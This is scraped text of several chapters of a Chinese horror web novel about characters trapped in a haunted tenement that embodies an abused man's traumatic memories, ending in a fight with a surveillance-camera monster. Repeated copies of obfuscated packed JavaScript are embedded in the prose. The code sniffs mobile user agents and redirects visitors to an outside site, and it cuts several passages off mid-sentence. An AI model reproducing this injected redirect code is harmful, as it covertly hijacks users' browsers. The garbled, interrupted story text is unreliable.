那张本就没什么血色的小脸上,新的淤青和肿胀让五官都有些变形。 他看着门外的陌生人,眼底深处残存的惊恐似乎褪去了不少,取而代代的是一种更令人心寒的麻木与疲惫,像是燃尽了所有力气的灰烬。 “你……你们怎么又来了?” 他的声音细若蚊蝇,带着不易察觉的警惕,还有一丝……认命般的漠然。 林晓鹿的心像是被什么东西狠狠攥了一下,更难受了。 “我们……想看看你,你……还好吗?” 问出口,她才发觉这问题有多苍白无力。 小男孩没有回答,只是沉默地看着他们,抱着作业本的手臂下意识地收紧了些,像是在守护自己最后一点领地。 “你爸爸呢?” 林晓鹿避开了男孩身上的伤,小心翼翼地换了个问题。 男孩的身体几不可察地瑟缩了一下,仿佛这个词本身就带着某种刺痛。 他垂下眼睫,长长的睫毛在青肿的眼睑下投下淡淡的阴影,声音低得几乎要消散在污浊的空气里。 “他……他不是我爸爸。” “他是我继父。” “他……刚刚出去喝酒了。” 继父。 这两个字像两块冰冷的石头,沉甸甸地砸进了在场每个人的心里。 林晓鹿看着男孩身上那些触目惊心的伤痕,再联系到那个男人暴戾凶狠的模样,瞬间明白了那些伤是怎么来的。 陈奇和楚文武的脸色也变得难看起来。 陈奇更是脱口而出骂了句:“畜生!” 只有宿珩,在听到“继父”两个字时,一直没什么波澜的眼眸深处,有什么东西飞快地掠过。 他没有说话,也没有在门口停留,径直迈步走进了房间。 空气里弥漫着一股令人作呕的气味—— 廉价酒精、汗臭、食物腐败以及某种难以形容的、属于这间屋子本身的陈旧腐朽,混合在一起,浓重得化不开。 宿珩无视了这一切,径直走到那张摇摇晃晃的小方桌前。 桌面上除了男孩正在写的作业本,还散落着一些揉成一团的草稿纸,上面用铅笔歪歪扭扭地写满了各种算式,很多都被粗暴地划掉了。 宿珩的视线垂落,停留在男孩面前摊开的那个蓝色封皮的练习本上。 封皮靠近边缘的空白处,用一种稚嫩却异常认真的笔迹,写着两个字。 ——周云。 宿珩的目光在那两个字上定住了。 果然是这样。 24楼那个形容枯槁,眼神麻木,在键盘上反复敲击着“忍”字的男人。 19楼那间充斥着窥伺感的宿舍里,照片墙上那个眼神焦虑不安,被无形枷锁困住的青年。 以及……眼前这个遍体鳞伤,在继父的阴影下艰难写着作业的小男孩。 周云。 周云。 周云。 三个截然不同的形象,三个被割裂的人生片段,却都指向同一个名字。 他们都置身于令人窒息的压抑、痛苦、与禁锢之中。 宿珩心底那个模糊了许久的猜测,在此刻,终于被这血淋淋的现实彻底印证,变得无比清晰。 这是周云的“心门”。 这栋诡异的筒子楼,这三个光怪陆离的楼层,并非独立存在,而是属于周云的精神世界里,三个不同人生阶段痛苦记忆的具现化。 8楼,是他不堪回首的童年。 面对继父的暴力或许还有侵犯,他只有无尽的惊恐与无助,除了躲藏,别无他法。 19楼,是他的大学时代。 被室友那种无处不在的窥视感紧紧缠绕,他渴望挣脱,却焦虑迷茫,找不到出口。 24楼,是他初入社会。 被沉重的工作、令人窒息的环境,甚至还有上司的猥亵,彻底压垮。 而他们遇到的那三个“周云”—— 无论是拍球的男孩、照片里的青年,还是敲击键盘的男人,严格来说,都不是周云本人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653346|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而是他精神世界中,被痛苦剥离、扭曲、困住的情绪碎片与记忆投影。 宿珩缓缓抬起眼,视线越过男孩瘦弱的头顶,望向站在门口的肖靳言。 肖靳言不知何时已经倚在了门框上,双手插在冲锋衣口袋里,姿态一如既往地随意放松,但那双黑沉的眼睛,却一直没有离开过宿珩。 接触到宿珩投来的目光,肖靳言的唇角几不可察地向上弯了一下,那弧度极淡,却带着一种心照不宣的了然。 他没有发出声音,只是用口型无声地比了几个字。 “弄清楚了?” 宿珩极轻地颔首,算是回应。 他明白了这三层楼的内在联系,明白了那三个“周云”的本质,同样明白了这栋楼存在的根源。 肖靳言眉梢微不可察地挑了一下,眼底那抹几近于无的笑意似乎加深了些许,仿佛对宿珩能如此迅速地将所有线索串联起来,并不感到丝毫意外。 “你是不是……”宿珩看着他,语气依旧是惯常的冷淡,“早就知道了?” 肖靳言闻言,不置可否地耸了耸肩。 “不是啊,我也是……刚弄明白。” 他回答得轻松写意,让人无从判断真假。 旁边,陈奇、林晓鹿和楚文武听着这两人之间仿佛加密通话般的简短交流,完全是一头雾水,满脸茫然。 楚文武急得差点原地蹦起来,抓耳挠腮。 “不是……肖哥,宿哥!你们俩到底在说什么啊?!” 陈奇心急如焚,“你俩在打什么哑谜呢?什么刚弄明白?” 肖靳言收回落在宿珩身上的目光,转而看向一脸焦急的三人。 他没有立刻解释,而是站直了身体,迈步走出了房间。 “跟我来。” 他朝着来时的走廊方向走去,步伐沉稳。 陈奇、林晓鹿和楚文武虽然满心疑问,但还是下意识地赶紧跟了上去。 宿珩最后看了一眼那个依旧趴在桌前,仿佛沉浸在自己世界里的小男孩。 男孩低着头,握着铅笔,似乎又开始写了起来,对周遭的一切充耳不闻。 宿珩收回视线,没有再停留,转身跟上了肖靳言的脚步。 一行人再次来到走廊的拐角处,也就是小男孩先前执着拍球的那面墙壁前。 昏黄的灯光下,墙皮剥落得似乎比之前更厉害了。 那幅用深色颜料画上去的、线条稚嫩而扭曲的涂鸦,在斑驳的墙面上显得愈发模糊不清,透着一股难言的压抑。 肖靳言在那面墙前站定,抬起手,指了指墙上那片模糊的涂鸦。 “离开这里的关键……” 他开口,声音不高,却清晰地传入每个人耳中,带着一种不容置疑的笃定,“在于消除周云的心结。” “或者说,解决掉他内心深处,那个导致这栋筒子楼形成,并将我们困在这里的……痛苦根源。” 陈奇、林晓鹿和楚文武面面相觑,脸上写满了困惑。 “心结?” 林晓鹿下意识地重复了一句,秀气的眉头紧紧蹙起。 她看着那个抽象的“玩具汽车”的涂鸦,忽然有点明白了。 9. 第 9 章 “那……要怎么消除他的心结?” 林晓鹿的声音打破了凝滞的空气,带着一丝不易察觉的颤抖。 她看着墙上那个用涂改液画出的,形状扭曲的小汽车图案,眼神里有种近乎本能的怜悯。 作为一个小学老师,她或许比其他人更能共情那种孩童式的绝望。 肖靳言收回落在涂鸦上的手指,那上面沾染了些许灰尘。 他目光转向众人,神色平静。 “找到他‘坏掉的玩具车’。” 肖靳言的声音不高,却清晰地传入每个人耳中。 “那是他对抗恐惧,或者说,沉沦在绝望里时,仅存的一点念想和慰藉。虽然微弱,但足够成为我们切入的支点。” 肖靳言顿了顿,补充了一句:“时间不多,在他那个所谓的‘继父’回来之前,否则,我们可能会看到更不想看到的东西。” 他的话语很平淡,却暗示着某种残酷的可能性。 空气再次变得沉重。 时间紧迫。 那个充满暴戾气息的脚步声,随时可能再次响起。 林晓鹿几乎没有犹豫。 她深吸了一口气,像是下定了某种决心。 “我去找。” 她看着802室那个紧闭的,仿佛吞噬了光线的房门方向,语气里有种不容拒绝的温柔和坚定。 这与她之前胆怯的模样判若两人。 楚文武几乎是立刻站了出来,“我陪你,晓鹿姐。” 少年挡在林晓鹿身前一点,校服的衣角微微扬起,脸上带着不符合年纪的认真。 他看向肖靳言和宿珩,赧然地挠了挠头,“这里太危险了,晓鹿姐一个人我不放心。” 旁边,陈奇看看林晓鹿和楚文武,又看看肖靳言和宿珩。 后两者明显是队伍里的武力与智力担当,跟着他们无疑更安全。 他张了张嘴,喉结滚动了一下,似乎想说“我也跟你们一起”。 然而,肖靳言一个眼神淡淡扫了过来。 那眼神里没什么特别的情绪,平淡无波,却让陈奇瞬间感到一股无形的压力。 仿佛他心里的那点小九九,已经被对方看得一清二楚。 陈奇喉咙动了动,最终还是把到了嘴边的话咽了回去。 他讪讪地摸了摸鼻子,默默站到了楚文武旁边,算是默认了分组。 “找到之后,立刻上楼。” 肖靳言对林晓鹿和楚文武吩咐,语气不容置喙。 “直接去24楼等我们,不要在8楼逗留,后面的事情,我跟宿珩处理。” 他的安排简洁明了,仿佛已经不是第一回干这种事了。 宿珩闻言,侧头看了肖靳言一眼。 对方十分自然地将他划归为同一阵营。 这种被当成某种对等存在,被理所当然地视为“同类人”的感觉,对宿珩来说,有些新奇。 也有些……说不出的怪异。 他习惯了独来独往,习惯了自己处理所有事情。 这种突如其来的“同伴”定位,让他略感不适,但心底深处,却又没有生出排斥。 交代完毕,肖靳言不再停留,转身走向电梯。 宿珩没说什么,跟了上去。 林晓鹿和楚文武目送他们离开,然后对视一眼,深吸一口气,转向了走廊深处。 陈奇犹豫了一下,最终还是硬着头皮跟上了林晓鹿和楚文武。 电梯门再次缓缓闭合,隔绝了8楼昏黄压抑的光线,狭小的金属空间里,只剩下宿珩和肖靳言两人。 腐烂的气味似乎淡了一些,取而代之的是肖靳言身上那股若有似无的烟草味。 电梯缓慢上升,发出令人牙酸的嘎吱声。 轿厢内只有两人。 宿珩靠在冰冷的金属壁上,感受着轿厢仿佛要散架般的震动。 最后他打破了沉默,声音在封闭空间里显得格外清晰,“这个心门……难度算高吗?” 肖靳言倚靠在另一侧轿厢壁上,姿态放松,仿佛要去的不是诡谲的19楼,而是打算回家。 听到宿珩的疑问,他抬头看了眼对面的年轻人,黑沉的眼睛在昏暗光线下显得格外深邃。 肖靳言挑眉回道:“很普通的一种。” “构成心门的执念核心很单一,线索也给得很明显。” “痛苦来源,精神寄托,不同阶段的心理映射,基本都摆在明面上了。” 宿珩轻轻“哦”了一声,没再追问。 普通。 如果这种扭曲压抑,让人几乎窒息的筒子楼,都只算普通难度。 那更难的“心门”,又会是什么样子? 宿珩暂时无法想象。 “但不是每个误入者,都像你一样,能这么快理清头绪。” 肖靳言忽然补充了一句,视线落在宿珩那张没什么表情的脸上。 宿珩的眼睫几不可察地动了一下。 他没有接这个话茬,反而问了另一个一直盘旋在心底的问题。 “难道你也是误入者?” 这个问题,他之前就想问。 肖靳言的表现太不像一个“误入者”了,毕竟在他眼中,自己和另外三人都是“倒霉蛋”而已。 更何况,肖靳言从一开始的镇定,到对环境信息的敏锐捕捉,再到对“心门”的解释。 他似乎对这一切都了如指掌。 肖靳言闻言,唇角勾起一个极浅的弧度,那弧度转瞬即逝,带着点难以捉摸的意味。 昏暗的光线下,他侧脸的轮廓显得更加硬朗分明。 “你猜。” 他吐出两个字,声音低沉,带着一丝若有似无的调侃。 宿珩:“……” 他懒得猜。 跟这种人打哑谜,毫无意义。 宿珩移开视线,重新看向电梯门上方,那不断跳动的楼层指示灯。 数字跳动得极为缓慢,到现在还没爬到19。 轿厢内再次陷入沉默。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肖靳言这一脚,完全没有顾及那个可能还在房间里的男人,会不会被这突如其来的闯入激怒,会不会因此而暴起伤人。 他就这么直接,粗暴地,破开了这道阻碍。 宿珩站在原地,看着肖靳言收回腿,姿态依旧沉稳。 仿佛刚才那石破天惊的一脚,只是随手拍掉一只蚊子般轻松。 宿珩的眼底掠过一丝极淡的波澜。 这家伙…… 行事风格,果然够直接。 肖靳言掸了掸裤腿上并不存在的灰尘,侧头看了宿珩一眼。 “进去?” 他的语气平淡,仿佛踹开的不是一扇门,而是拉开了一道普通的门帘。 宿珩没说话,率先迈步,跨过地上破碎的门板残骸,走进了房间。 10. 第 10 章 房间里比预想的更加狼藉。 被踹飞的门板歪斜地倒在地上,带起的灰尘还在空气中缓慢沉降。 那个穿着脏卫衣,眼神黏腻的男人并不在。 上下铺铁床依旧是那副蒙尘的样子,靠墙的书桌上杂物堆积,唯一不同的是那面照片墙。 宿珩的视线落在墙壁中央,那张褪色的合照被重新贴了回去。 宿珩面无表情地走过去。 用力一扯,照片被撕开一角,原本被他扯下来的那个针孔摄像头,此刻竟然又被人用粗糙的手法塞回了墙洞里,甚至还用透明胶带歪歪扭扭地接好了线。 宿珩冷眼看着那枚活似眼球的玩意,心想既然已经闹出这么大动静了,那就没必要再留着这只令人作呕的东西。 他伸出手指,再次精准地捏住那个被强行塞回去的摄像头。 这一次,他用了更大的力气,连同周围一小块松动的墙皮和那卷劣质胶带,一起拽了出来。 宿珩嫌弃地将这团东西扔在地上,抬脚毫不犹豫地碾了下去! “咔嚓——” 一声细微却异常清晰的碎裂声响起。 与此同时—— 一声凄厉至极,仿佛来自地狱深处的哀嚎,猛地从头顶炸响。 那声音充满了难以言喻的痛苦和怨毒,在空荡的房间里回荡不休,带着令人毛骨悚然的实体感。 宿珩踩着摄像头碎片的脚顿了一下,缓缓抬头看了肖靳言一眼。 对方毫无反应,好像那声音只有自己才听得到。 宿珩轻轻皱眉,看向头顶,天花板依旧是那副斑驳脱落的样子,看不出任何异常。 但那声哀嚎却真实得可怕。 那个男人……或者说,那个东西,暂时没有出现。 但宿珩能感觉到,它并未离开。 而且,除了那股令人厌恶的窥伺欲之外,这房间里,还残留着另一种微弱却执拗的气息。 周云就藏在这里。 宿珩的视线缓缓扫过房间,最终定格在靠墙角落里,那个紧闭着的,掉了漆的旧衣柜上。 他迈步朝着衣柜走去。 就在他的手即将触碰到衣柜门把手的前一秒—— 一阵令人头皮发麻的、细微的摩擦声,突兀地从正上方响起! “小心!” 肖靳言低喝一声,几乎是同时,一只强健有力的手臂猛地揽过宿珩的肩膀,将他往后带了一大步! 嗤——! 几乎就在宿珩被拉开的瞬间,一根黑色的、泛着冰冷金属光泽的细长物体,如同毒蛇吐信般,从天花板上疾刺而下! 那东西尖端锐利,带着破空之声,精准地扎在了宿珩刚才站立的位置,深深没入积满灰尘的水泥地里。 仔细看去,那竟像是一根被拉长、扭曲、前端被打磨得异常锋利的…… USB数据线?! 宿珩站定,看向头顶。 这一看,饶是他生性再冷淡,瞳孔也不由自主地微微缩紧。 天花板上,不知何时竟然趴着一个人! 或者说,一个穿着脏兮兮的卫衣,勉强维持着人形的东西…… 此刻,他四肢扭曲着扒附在天花板上,如同某种扭曲的巨型蜘蛛。 身上的卫衣早被撑得破烂不堪,露出底下蜡黄干瘪的皮肤,皮肤上隐约可见青黑色的血管如同蛛网般凸起。 他的头颅以一个诡异的角度向下扭转,那双布满血丝的眼睛,此刻正贪婪地、带着一种近乎疯狂的垂涎,牢牢锁定在宿珩身上! 那眼神,不再是之前的暴怒或黏腻,而是一种纯粹的、想要将猎物拆骨入腹、彻底占有的……饥饿感。 “心门里……经常有这种丑东西?” 宿珩侧头,看向把他拉到身后的肖靳言,语气依旧没什么起伏,仿佛只是在确认某种可能性。 肖靳言淡淡地“嗯”了一声,视线同样落在天花板那个怪物身上,语气里甚至带上了一丝不易察觉的调侃。 “这才哪儿到哪儿。” 他瞥了宿珩一眼,那眼神似乎在说“少见多怪”。 “以后,你还会见到更多稀奇古怪的玩意儿。” 以后? 宿珩还没来得及细想这两个字背后可能存在的含义,头顶的怪物似乎被“丑东西”三个字彻底激怒了! “混蛋!!!” 它发出一声不似人声的咆哮,整个身体都因愤怒而剧烈地颤抖起来! 那些凸起的青黑色血管蠕动得更加剧烈。 紧接着,更多黑色的、类似数据线的东西,如同拥有生命的触手般,从它干瘪的身体里疯狂地滋生延伸出来! 这些“数据线”在空中狂乱舞动,尖端闪烁着蛇信般的寒光,目标无一例外,全都对准了下方的宿珩! “你去找周云。”肖靳言的声音沉稳依旧,“这个丑东西交给我。” 话音未落,宿珩甚至没看清他的动作。 只觉得眼前寒光刺眼—— 肖靳言不知何时从袖中滑出一柄造型简洁、锋锐异常的黑色短刀! 手腕翻转,短刀脱手而出,化作一道撕裂空气的流光! “噗嗤——!” 一声利器入肉的闷响! 那柄短刀精准无比地钉穿了怪物扭曲的脖颈下方,最靠近胸腔的位置,巨大的冲击力将它死死地钉在了天花板上。 怪物发出更加凄厉痛苦的嘶吼,无数黑色数据线疯狂抽搐扭动,却暂时无法再对下方构成威胁。 宿珩不再犹豫,趁此机会,猛地拉开了衣柜门。 一股浓重的、混合着灰尘和汗液的酸腐气味扑面而来。 衣柜内部狭小而黑暗。 最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653348|172840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面的角落里,一个青年正蜷缩着身体,双手死死抱住膝盖,将头埋在臂弯里,瑟瑟发抖。 他穿着一件洗得发白的格子衬衫,正是19楼照片墙上,那个戴着厚重黑框眼镜的青年。 只是此刻的他,比照片上更加憔悴,眼神里充满了惊恐和疲惫,像是已经在这里躲藏了太久太久,久到快要被这无处不在的窥伺和恐惧彻底吞噬。 “周云?” 宿珩开口,声音不高,却清晰地传入青年耳中。 青年身体猛地一颤,缓缓抬起头,露出一张苍白而布满惊惧的脸。 他的嘴唇哆嗦着,看着宿珩,又惊恐地瞥了一眼外面天花板上还在挣扎嘶吼的怪物,然后拼命摇头。 “不……我不出去……外面……外面有眼睛……到处都是眼睛……” 他语无伦次,声音带着哭腔,身体往衣柜更深处缩了缩,仿佛那里才是唯一的安全港湾。 “躲在这里,眼睛就不会消失吗?” 宿珩的声音依旧冷淡,直视着周云的后背,“你看看你的身后,那里不正有一只眼睛吗?” 青年茫然地看着他,僵硬地转动脖颈看向身后。 衣柜的缝隙里……一枚小巧的摄像头卡在最深处,不知存在了多久。 或许早在他躲进衣柜时,在他恐惧得全身发抖时,他所有的样子全都被这枚摄像头收入眼底。 周云冷不防冒出冷汗,全身僵硬,他很想跑,但长久以来的恐惧让他依旧不敢动弹。 宿珩没有再多费口舌。 他直接伸出手,抓住了青年的胳膊。 入手冰凉,瘦得只剩一把骨头。 “你先出来。” 宿珩的语气不带丝毫商量的余地,手上用力,半强迫地将瑟缩的青年从那个狭小的空间里拖了出来。 “不!不要——!”青年发出惊恐的尖叫,试图挣扎。 也就在这时—— 天花板上,被短刀钉住的怪物,似乎因为周云的出现而受到了更强烈的刺激! 它发出了震耳欲聋的咆哮! 紧接着,更加令人作呕的一幕发生了! 它那干瘪蜡黄的皮肤表面,开始如同沸腾的蜡油般鼓起一个个脓包。 脓包破裂,涌出的不是脓血,而是一颗颗……冰冷的、闪烁着红点的……摄像头! 这些摄像头如同毒瘤般迅速增殖,密密麻麻地覆盖在怪物的血肉之上。 与此同时,走廊外,那些原本死寂的摄像头,镜头也仿佛被赋予了生命般,齐刷刷地转动起来,对准了1904室内。 红点疯狂闪烁,犹如无数只充血的眼睛,贪婪而疯狂地注视着房间内的一切。 仿佛在这一刻,整层楼的监控系统,都成了那只怪物身体的延伸。 它的力量,在以一种诡异而恐怖的方式,急剧膨胀。 11. 第 11 章 整层楼的窥伺感,在这一刻达到了顶峰,浓稠得仿佛要将空气都挤压凝固。 被钉住的怪物发出一阵意义不明的咯咯声,钉穿它身体的短刀周围,血肉与摄像头混合的组织剧烈蠕动,竟硬生生将那锋利的刀刃一点点向外挤压。 “噗——” 短刀被彻底弹出,带着几缕腥臭的黑色粘液,旋转着向下坠落。 肖靳言手腕一翻,精准地接住了落下的短刀。他甚至没看那怪物一眼,只是侧身对着宿珩,语气依旧平稳。 “走!” 几乎在他开口的同时,重新恢复自由的怪物发出一声震耳欲聋的咆哮,无数黑色数据线再次从它体内爆射而出,如同狂舞的毒蛇,卷向离它最近的宿珩。 宿珩没有后退,他抓着周云胳膊的手猛地收紧。 周云还在因为恐惧而剧烈挣扎,嘴里发出不成调的呜咽:“不……放开我!它会杀了我们!它会……” 宿珩充耳不闻,另一只手探出,精准地扣住周云的后颈,强迫他弯下腰。 嗤嗤嗤—— 犹如腐蚀的声音突然炸响! 宿珩反应极快地侧身一躲,几根数据线擦着他的头皮掠过,狠狠抽打在旁边的铁床架上。 坚硬的铁制品发出刺耳的金属刮擦声,留下几道深深的划痕,这要是抽到人身上,不死也要脱层皮。 同一时间,肖靳言的身影动了。 他没有选择硬碰硬,而是以一种近乎鬼魅的速度,在狭小的房间内辗转腾挪。 手中的黑色短刀划出一道道简洁而致命的弧线。 每一次挥出,必然伴随着摄像头碎裂的脆响,或是数据线被斩断的闷声。 他像一个高效的清理机器,所过之处,墙壁上、天花板角落里那些令人不适的“眼睛”纷纷爆裂、熄灭。 短刀挥舞带起的劲风,甚至将空气中弥漫的灰尘都切割出短暂的通路。 怪物似乎被这种精准的点杀激怒,更多的摄像头和数据线从它身上疾射而出,如同黑色的冰雹,劈头盖脸地砸向肖靳言。 肖靳言面无表情,手中的短刀犹如幻影,轻而易举格挡开,脚步毫不停顿,刀锋一转,再次削掉墙角一个蠢蠢欲动的隐蔽镜头。 “你们先撤。” “你自己小心。” 宿珩不再犹豫,拽着几乎瘫软的周云,利用肖靳言制造出的短暂空隙,朝着那扇被踹烂的门冲去。 “不……我不走……外面……外面还有更多……” 周云还在徒劳地挣扎,恐惧甚至让他失去了基本的行动能力。 宿珩眉头紧锁,在这种无所不在的窥伺欲中还没疯已经算是不错了,他干脆半拖半拽,强行将他带出了房间。 然而走廊里的情况更加糟糕。 两侧墙壁上,天花板上,几乎每一个角落的摄像头都活了过来,连接的电线从墙壁深处伸了出来,像是无数条连接着眼珠的纤细神经。 红点连成一片猩红的光海,齐刷刷地对准了他们。 “去电梯!” 宿珩快速扫了一圈,冲着还在房间内肖靳言喊道。 “你们先走。” 肖靳言的声音从身后传来。 他紧随其后冲出房间,反手一刀,将门框上方一个正对准宿珩后背的摄像头劈成两半。 怪物那扭曲庞大的身影也挤出了房门,它似乎并不急于追赶,只是趴在门口,身上无数摄像头转动着,发出令人牙酸的“咔咔”声,像是在欣赏猎物徒劳的挣扎。 从走廊到电梯口,不过短短十几米的距离,此刻却漫长得如同炼狱。 不断有细长的数据线,犹如狡猾的蛇群,从头顶、从角落、从两侧墙壁的阴影中缠绕而出,目标明确地指向宿珩和周云。 肖靳言如同影子般护在宿珩侧后方,手中短刀上下翻飞,飞快斩断那些袭来的数据线,同时还要分神清理掉沿途那些碍眼的摄像头。 “砰!” 又一个摄像头爆裂。 宿珩能感觉到肖靳言的动作依旧迅捷,不禁心想……都打了这么久了,这人的体力难道用不完的吗? 周云已经彻底放弃了抵抗,只是被宿珩拖着,身体软得像一滩烂泥,嘴里反复念叨着:“没用的……逃不掉的……我们都会死在这里……” 宿珩懒得理他,只管朝着电梯的方向移动。 终于,那扇遍布划痕的电梯门近在眼前。 肖靳言猛地向前一步,挡在宿珩身前,手中短刀快如闪电,连续劈断三根从不同方向袭来的数据线,同时左手狠狠拍在电梯的上行按钮上。 “叮——” 电梯始终停留在这一层,8楼的三人尚未找到玩具车。 脏污的铁门缓缓向两侧滑开。 “进去!”肖靳言低喝。 宿珩不再迟疑,将周云用力往前一推,自己也紧跟着跨入轿厢。 肖靳言最后一个闪身进来,在电梯门即将闭合的瞬间,反手一刀精准地劈出,将一条紧随而至、几乎要挤进门缝的数据线砍断在门外的墙壁上。 掉落地面的数据线像壁虎的断尾,还在地上不停地蠕动。 几秒后,电梯门终于彻底闭合。 狭小的金属空间内,暂时隔绝了外面疯狂的窥伺和攻击。 周云瘫倒在角落里,蜷缩成一团,身体剧烈地颤抖,发出压抑的啜泣。 宿珩靠在轿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宿珩微微颔首,表示自己懂了。 他把目光重新投向被撞得轰隆作响的电梯门,语气竟还能保持平静。 “那就看这部电梯,还能不能再捱几分钟了。” 肖靳言闻言,居然低低地笑了一声。 他伸手,随意地理了理冲锋衣的领子,动作不紧不慢。 “嗯,希望楼下那几个,动作能快点。” 12. 第 12 章 电梯门外的撞击从未停止,反而愈发狂暴。 “咚!咚!咚!” 每一次撞击都让整个轿厢剧烈摇晃,顶灯闪烁不定,光线忽明忽暗。 那扇本就伤痕累累的金属门板,此刻向内凹陷出一个夸张的弧度,边缘处发出刺耳的金属扭曲声,似乎下一秒就要彻底崩裂。 周云蜷缩在角落,抖得像风中落叶,口中断断续续溢出绝望的呜咽。 宿珩靠着相对完好的轿厢壁,身体随着撞击微微起伏,他看着那扇濒临破碎的门,又瞥了一眼角落里的周云。 肖靳言站在门前,姿态依旧沉稳,手中的黑色短刀在昏暗光线下反射着冷冽的微光。 “嗤啦——” 一条黑色的数据线率先从门板最薄弱的凹陷处挤了进来,顶端闪烁着红点,如同毒蛇的信子,灵活地探向轿厢内部。 肖靳言手腕微动,短刀划出一道利落的弧线。 数据线被精准地斩断,掉落在地,断口处还在微微抽搐。 紧接着,更多的黑色数据线和带着红点的微型摄像头,从不断扩大的缝隙和新出现的裂口处钻入,如同滋生的藤蔓,试图缠绕、窥探这狭小的空间。 肖靳言不闪不避,手中短刀上下翻飞,刀刃在空中划出一道道迅捷而利落的黑色弧线,动作快得几乎带出残影。 每一刀都精准地落在目标上,或是斩断数据线,或是劈碎摄像头。 刀锋破开空气,发出细微的咻咻声。 火花偶尔在刀刃与金属门板摩擦时溅起。 宿珩看着肖靳言的动作,那份从容不迫,那种对时机和力道恰到好处的把握,让他脑海里莫名浮现出曾经玩过的一款切水果游戏。 只是眼前的“水果”,更加致命和恶心。 “轰——!” 一声前所未有的巨响! 电梯门中央被彻底砸穿,一个脸盆大的破洞赫然出现,金属碎片向内迸射。 紧接着,一个布满了跳动血管和粘稠液体的丑陋头颅,硬生生从那个破洞里挤了进来! 蜡黄干瘪的皮肤紧贴着头骨,几缕稀疏油腻的头发黏在头皮上,脸上布满了密密麻麻、还在转动的小型摄像头,那些镜头取代了它原本的五官,此刻全都贪婪地聚焦在轿厢内。 只不过右眼的位置空洞洞的,不久前曾被宿珩用鞋底无情碾碎。 怪物的嘴部裂开一个不属于人类的扭曲弧度,喉咙里发出“嗬嗬”的,仿佛漏风般的笑声。 “你们……逃不掉的……” 腥臭的气息伴随着它的入侵,瞬间充斥了整个轿厢。 周云发出一声短促的尖叫,眼球上翻,几乎骇得要昏死过去。 宿珩后背紧贴冰冷的轿厢壁,皱了皱鼻子,他四处打量了一圈,似乎想找个趁手的武器。 而肖靳言的动作也停顿了一瞬,短刀横在身前,打算对着它的脖子来上一刀。 就在怪物试图将更多身体挤进来的瞬间—— “嘎吱——嗡——” 整个电梯猛地向下一沉,失重感猝然传来,轿厢开始加速下坠! 宿珩肉眼可见地松了口气,看来林晓鹿他们已经找到了。 怪物似乎完全没料到这突如其来的变故,卡在破洞里的头颅发出一声充满惊愕与不甘的咆哮。 它试图后退,但下降的电梯带着巨大的力量,破洞边缘锋利的金属如同铡刀,狠狠地卡进了它半个脑袋! “嘶啦——” 令人牙酸的金属切割血肉与骨骼的声音响起。 怪物庞大的身躯被留在了19楼的门外,而它挤进来的半颗头颅,却被巨大的下降力道和锋利的金属边缘彻底切断! “噗通”一声。 半颗布满摄像头、还在微微抽搐的头颅,掉落在电梯轿厢的地板上,滚了两圈,停在宿珩脚边不远处。 失去头颅的身体在19楼门外疯狂扭动了几下,最终逃了回去,咆哮声惊天动地。 电梯继续晃晃悠悠地下行,轿厢内只剩下运行的嗡鸣声,以及那半颗落在地上的头颅,偶尔发出类似神经末梢的轻微抽动声。 轿厢内弥漫着一股难以形容的腥臭,混合着铁锈的味道。 那颗头颅上的摄像头还在无意识地转动,红点明灭不定。 宿珩蹙了蹙眉,抬脚,用鞋尖将那颗还在微微抽动的头颅,嫌恶地踢到了离自己最远的角落。 头颅撞在轿厢壁上,发出沉闷的声响,终于彻底不动了。 角落里,差点昏死过去的周云被这动静惊扰,悠悠转醒。他茫然地睁开眼,首先看到的便是那颗滚到角落,属于他噩梦源头的头颅。 周云身体猛地一僵,瞳孔骤缩。 但预想中的恐惧尖叫并未发生。 他只是死死盯着那颗头颅,脸上先是极致的惊恐,随即转为深深的困惑,最后,一丝难以置信的茫然浮现出来。 他……离开了19楼? 那个如同囚笼般,无时无刻不被冰冷镜头监视的地狱……他竟然……真的离开了? “叮——” 电梯终于停止了下坠,伴随着一声提示音,停靠在了8楼。 面前那扇千疮百孔,向内凹陷变形的电梯门,开始缓缓向两侧滑开。 门外,林晓鹿、楚文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 